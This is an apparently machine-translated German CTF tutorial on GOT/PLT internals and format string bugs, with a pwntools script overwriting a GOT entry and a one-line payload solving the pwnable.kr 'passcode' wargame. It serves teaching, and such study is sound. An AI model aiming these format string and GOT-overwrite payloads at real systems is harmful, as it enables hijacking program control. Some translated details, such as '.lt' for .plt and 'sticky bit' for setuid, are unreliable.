In diesem Artikel werden wir analysieren: Was ist die globale Tabelle der Offsets, die Tabelle der Beziehungen von Prozeduren und deren Umschreiben durch die Sicherheitsanfälligkeit bezüglich Formatzeichenfolgen? Wir werden auch die 5. Aufgabe von der Seite
pwnable.kr lösen .
OrganisationsinformationenSpeziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:
- PWN;
- Kryptographie (Krypto);
- Netzwerktechnologien (Netzwerk);
- Reverse (Reverse Engineering);
- Steganographie (Stegano);
- Suche und Ausnutzung von WEB-Schwachstellen.
Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich
in Telegram einen
Kanal und eine
Gruppe eingerichtet, um alle Probleme im Bereich ICD
zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen
persönlich prüfen
und alle beantworten .
Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.
Globale Offset-Tabelle und Prozedur-Beziehungstabelle
Dynamisch verknüpfte Bibliotheken werden zur Startzeit oder zur Laufzeit aus einer separaten Datei in den Speicher geladen. Daher sind ihre Adressen im Speicher nicht festgelegt, um Speicherkonflikte mit anderen Bibliotheken zu vermeiden. Darüber hinaus randomisiert der ASLR-Sicherheitsmechanismus die Adresse jedes Moduls beim Start.
Global Offset Table (GOT) - Eine Tabelle mit Adressen, die im Datenabschnitt gespeichert sind. Es wird zur Laufzeit verwendet, um nach Adressen globaler Variablen zu suchen, die zur Kompilierungszeit unbekannt waren. Diese Tabelle befindet sich im Datenabschnitt und wird nicht von allen Prozessen verwendet. Alle absoluten Adressen, auf die im Codeabschnitt verwiesen wird, werden in dieser GOT-Tabelle gespeichert. Der Codeabschnitt verwendet relative Offsets, um auf diese absoluten Adressen zuzugreifen. Somit kann der Bibliothekscode von Prozessen gemeinsam genutzt werden, selbst wenn sie in verschiedene Speicheradressräume geladen werden.
Die Prozedurverknüpfungstabelle (PLT) enthält den Sprungcode zum Aufrufen allgemeiner Funktionen, deren Adressen in der GOT gespeichert sind, d. H. Die PLT enthält die Adressen, an die die Adressen für Daten (Adressen) aus der GOT gespeichert sind.
Betrachten Sie den Mechanismus anhand eines Beispiels:
- Im Programmcode wird die externe Funktion printf aufgerufen.
- Der Kontrollfluss geht zum n-ten Datensatz in der PLT, und der Übergang erfolgt mit einem relativen Versatz anstelle einer absoluten Adresse.
- Geht zu der im GOT gespeicherten Adresse. Der in der GOT-Tabelle gespeicherte Funktionszeiger zeigt zuerst auf das PLT-Code-Snippet zurück.
- Wenn also printf zum ersten Mal aufgerufen wird, wird der dynamische Linker-Konverter aufgerufen, um die tatsächliche Adresse der Zielfunktion zu erhalten.
- Die printf-Adresse wird in die GOT-Tabelle geschrieben, und dann wird printf aufgerufen.
- Wenn printf im Code erneut aufgerufen wird, wird der Resolver nicht mehr aufgerufen, da die Adresse von printf bereits in GOT gespeichert ist.

Bei Verwendung dieser verzögerten Bindung sind Zeiger auf Funktionen, die zur Laufzeit nicht verwendet werden, nicht zulässig. Das spart viel Zeit.
Damit dieser Mechanismus funktioniert, sind die folgenden Abschnitte in der Datei vorhanden:
- .got - enthält Einträge für GOT;
- .lt - enthält Einträge für PLT;
- .got.plt - enthält die Adressbeziehungen GOT - PLT;
- .plt.got - enthält die Adressbeziehungen PLT - GOT.
Da der Abschnitt .got.plt ein Array von Zeigern ist und während der Programmausführung gefüllt wird (d. H. Das Schreiben ist darin zulässig), können wir einen von ihnen überschreiben und den Programmausführungsfluss steuern.
Zeichenfolge formatieren
Eine Formatzeichenfolge ist eine Zeichenfolge, die Formatspezifizierer verwendet. Der Formatbezeichner wird durch das Symbol "%" angezeigt (um das Prozentzeichen einzugeben, verwenden Sie die Sequenz "%%").
pritntf(“output %s 123”, “str”); output str 123
Die wichtigsten Formatspezifizierer:
- d - dezimale vorzeichenbehaftete Zahl, Standardgröße, sizeof (int);
- x und X sind eine vorzeichenlose Hexadezimalzahl, x verwendet Kleinbuchstaben (abcdef), X Großbuchstaben (ABCDEF), die Standardgröße ist sizeof (int);
- s - Zeilenausgang mit Null-Abschlussbyte;
- n ist die Anzahl der Zeichen, die zum Zeitpunkt des Auftretens der Befehlssequenz mit n geschrieben wurden.
Warum ist eine Sicherheitsanfälligkeit bezüglich Formatzeichenfolgen möglich?
Diese Sicherheitsanfälligkeit besteht darin, eine der Formatausgabefunktionen zu verwenden, ohne ein Format anzugeben (wie im folgenden Beispiel). Somit können wir selbst das Ausgabeformat angeben, das dazu führt, dass Werte aus dem Stapel gelesen und bei Angabe eines speziellen Formats in den Speicher geschrieben werden können.
Betrachten Sie die Sicherheitsanfälligkeit im folgenden Beispiel:
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); }
Daher gibt die nächste Zeile nicht das Ausgabeformat an.
printf(input);
Kompilieren Sie das Programm.
gcc vuln1.c -o vuln -no-pie
Schauen wir uns die Werte auf dem Stapel an, indem wir eine Zeile mit Formatbezeichnern eingeben.

Beim Aufrufen von printf (Eingabe) wird daher der folgende Aufruf ausgelöst:
printf(“%p-%p-%p-%p-%p“);
Es bleibt zu verstehen, was das Programm anzeigt. Die Funktion printf verfügt über mehrere Argumente, bei denen es sich um Daten für eine Formatzeichenfolge handelt.
Betrachten Sie ein Beispiel für einen Funktionsaufruf mit den folgenden Argumenten:
printf(“Number - %d, addres - %08x, string - %s”, a, &b, c);
Wenn diese Funktion aufgerufen wird, sieht der Stapel wie folgt aus.

Wenn also ein Formatbezeichner erkannt wird, ruft die Funktion den Wert des Stapels ab. In ähnlicher Weise ruft eine Funktion aus unserem Beispiel 5 Werte vom Stapel ab.

Um dies zu bestätigen, finden wir unsere Formatzeichenfolge im Stapel.

Bei der Übersetzung von Werten aus einer Hex-Ansicht erhalten wir die Zeichenfolge „% -p% AAAA“. Das heißt, wir konnten die Werte vom Stapel abrufen.
GOT Overwrite
Lassen Sie uns die Fähigkeit überprüfen, GOT durch die Sicherheitsanfälligkeit bezüglich Formatzeichenfolgen neu zu schreiben. Dazu schleifen wir unser Programm, indem wir die Adresse der Funktion exit () in die Adresse main umschreiben. Wir werden mit pwntools überschreiben. Erstellen Sie das ursprüngliche Layout und wiederholen Sie den vorherigen Eintrag.
from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive()

Da der Inhalt des Stapels jedoch abhängig von der Größe der eingegebenen Zeichenfolge unterschiedlich ist, stellen wir sicher, dass die Eingabeladung immer die gleiche Anzahl eingegebener Zeichen enthält.
payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”)

payload = ("%p-%p-%p-%p").ljust(64, ”*”)

Jetzt müssen wir die GOT-Adresse der exit () -Funktionen und die Adresse der Hauptfunktion herausfinden. Die Hauptadresse wird mit gdb gefunden.

Die GOT-Adresse von exit () kann sowohl mit gdb als auch mit objdump ermittelt werden.


objdump -R vuln

Wir werden diese Adressen in unser Programm schreiben.
main_addr = 0x401162 exit_addr = 0x404038
Jetzt müssen Sie die Adresse neu schreiben. Um dem Stapel die Adresse der exit () -Funktion und die nachfolgenden Adressen hinzuzufügen, d.h. * (exit ()) + 1 usw. Sie können es mit unserer Last hinzufügen.
payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1)
Führen Sie aus und bestimmen Sie, auf welchem Konto die Adresse angezeigt wird.

Diese Adressen werden an den Positionen 14 und 15 angezeigt. Sie können den Wert an einer bestimmten Position wie folgt anzeigen.
payload = ("%14$p").ljust(64, "*")

Wir werden die Adresse in zwei Blöcken umschreiben. Zunächst drucken wir 4 Werte, sodass sich unsere Adressen an der 2. und 4. Position befinden.
payload = ("%p%14$p%p%15$p").ljust(64, "*")

Jetzt teilen wir die Adresse von main () in zwei Blöcke:
0x401162
1) 0x62 = 98 (schreiben bei 0x404038)
2) 0x4011 - 0x62 = 16303 (an die Adresse 0x404039 schreiben)
Wir schreiben sie wie folgt:
payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
Vollständiger Code:
from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive()

Somit wird das Programm neu gestartet, anstatt zu beenden. Wir haben die exit () -Adresse neu geschrieben.
Passcode-Joblösung
Wir klicken auf das erste Symbol mit der Passcode-Signatur und erfahren, dass wir uns über SSH mit dem Passwort Gast verbinden müssen.

Wenn verbunden, sehen wir das entsprechende Banner.

Lassen Sie uns herausfinden, welche Dateien sich auf dem Server befinden und welche Rechte wir haben.
ls -l

Auf diese Weise können wir den Quellcode des Programms lesen, da für jeden ein Leserecht besteht, und das Passcode-Programm mit den Rechten des Eigentümers ausführen (das Sticky-Bit ist gesetzt). Lassen Sie uns das Ergebnis des Codes sehen.

Es ist ein Fehler in der Funktion login () aufgetreten. In scanf () wird dem zweiten Argument nicht die Adresse der Variablen & passcode1 übergeben, sondern die Variable selbst, und sie wird nicht initialisiert. Da die Variable noch nicht initialisiert wurde, enthält sie den ungeschriebenen "Müll", der nach der Ausführung der vorherigen Anweisungen übrig geblieben ist. Das heißt, scanf () schreibt die Nummer in die Adresse, die die Restdaten sind.

Wenn wir also vor dem Aufrufen der Anmeldefunktion die Kontrolle über diesen Speicherbereich erlangen können, können wir eine beliebige Nummer in eine beliebige Adresse schreiben (tatsächlich die Programmlogik ändern).
Da die Funktion login () unmittelbar nach der Funktion welcome () aufgerufen wird, haben sie dieselben Stapelrahmenadressen.

Lassen Sie uns prüfen, ob wir Daten in den zukünftigen Speicherort passcode1 schreiben können. Öffnen Sie das Programm in gdb und zerlegen Sie die Funktionen login () und welcome (). Da scanf in beiden Fällen zwei Parameter hat, wird die Adresse der Variablen zuerst an die Funktion übergeben. Somit lautet die Adresse von Passcode1 ebp-0x10 und der Name ebp-0x70.


Berechnen wir nun den Adresspasscode1 relativ zum Namen, vorausgesetzt, der ebp-Wert ist der gleiche:
(& name) - (& passcode1) = (ebp-0x70) - (ebp-0x10) = -96
& passcode1 == & name + 96
Das heißt, die letzten 4 Bytes des Namens - dies ist der "Müll", der als Adresse für das Schreiben in die Anmeldefunktion dient.
In diesem Artikel haben wir gesehen, wie Sie die Logik der Anwendung ändern können, indem Sie die Adressen im GOT neu schreiben. Lass es uns auch hier tun. Da auf scanf () ein Flush folgt, schreiben wir an die Adresse dieser Funktion in GOT die Adresse des Befehls zum Aufrufen der Funktion system () zum Lesen des Flags.



Das heißt, an der Adresse 0x804a004 müssen Sie 0x80485e3 in Dezimalform schreiben.
python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

Als Ergebnis erhalten wir 10 Punkte, bisher ist dies die schwierigste Aufgabe.

Dateien für diesen Artikel werden an den
Telegrammkanal angehängt. Wir sehen uns in den folgenden Artikeln!
Wir befinden uns in einem Telegrammkanal: einem
Kanal im Telegramm .